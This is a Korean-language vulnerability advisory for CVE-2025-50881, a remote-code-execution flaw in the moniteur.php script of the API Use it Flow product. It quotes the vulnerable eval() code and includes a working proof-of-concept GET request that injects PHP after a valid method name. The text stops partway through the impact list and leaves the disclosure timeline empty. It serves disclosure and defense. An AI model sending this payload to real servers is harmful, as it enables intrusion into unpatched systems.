
API SAS 사용 흐름 RCE
식별자: CVE-2025-50881
영향을 받는 제품: API Use it Flow 버전 8.2.0 (Rev 15851), 버전 9.2.0 (Rev 18093)
제작사: https://www.tenorsolutions.com (이전 https://api-sas.fr/)
영향을 받는 구성 요소: flow/admin/moniteur.php
취약점 유형: eval() 주입을 통한 원격 코드 실행 (RCE)
심각도: 심각
설명:
flow/admin/moniteur.php 스크립트는 원격 코드 실행에 취약합니다. GET 요청을 처리할 때 스크립트는 action URL 매개변수에서 사용자 입력을 받아 검증을 충분히 수행하지 않고 이 입력을 문자열($wscom)에 포함시킨 후 eval() 함수를 통해 실행합니다. method_exists() 검사가 수행되지만, 사용자 입력 중 첫 번째 괄호 ( 앞 부분만 확인하므로, 공격자는 유효한 메서드 호출 구조 뒤에 임의의 PHP 코드를 추가할 수 있습니다. 성공적으로 악용하면 인증되지 않았거나 간단히 인증된 공격자가 웹 서버 프로세스 권한으로 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
취약 코드 조각:
파일: flow/admin/moniteur.php
사용자 입력 읽기 (줄 ~45):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
주석: $action은 사용자 입력($_GET['action'])에서 URL 디코딩 및 HTML 엔터티 인코딩만 수행하여 직접 가져오므로 코드 주입을 방지하지 못합니다.
명령 문자열 구성 (줄 ~47):
$wscom='$ws->'.$action;
주석: 사용자가 제어하는 $action이 $wscom 문자열에 연결됩니다.
불충분한 검증 (줄 ~49):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
주석: $action의 첫 번째 괄호 앞 부분만 UIFWebService 클래스의 유효한 메서드와 비교하여 확인합니다.
eval()을 통한 코드 실행 (줄 ~50):
eval('$res=' . $wscom . ';');
주석: 사용자 입력을 포함한 구성된 문자열 $wscom이 PHP 코드로 실행됩니다.
악용 방법:
공격자는 moniteur.php에 GET 요청을 구성하여 임의의 login 및 password 매개변수(호출된 메서드 내에서 인증에 사용되며 eval 자체에는 사용되지 않음)와 악의적인 action 매개변수를 제공할 수 있습니다. action 매개변수는 method_exists 검사를 통과하기 위해 UIFWebService 클래스의 유효한 메서드 이름(예: get_data)으로 시작해야 하며, 그 뒤에 주입된 PHP 코드가 이어집니다.
예시 페이로드 :
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
이 페이로드는 eval()이 다음과 유사한 코드를 실행하게 합니다:
$res = $ws->get_data(1);phpinfo();$res=0;;
이는 get_data 메서드를 실행한 후 phpinfo()를 실행하고, 마지막으로 $res를 0으로 설정합니다.
영향: 공격자는 서버에서 임의의 명령을 실행할 수 있으며, 잠재적으로 다음을 초래할 수 있습니다:
공개 일정: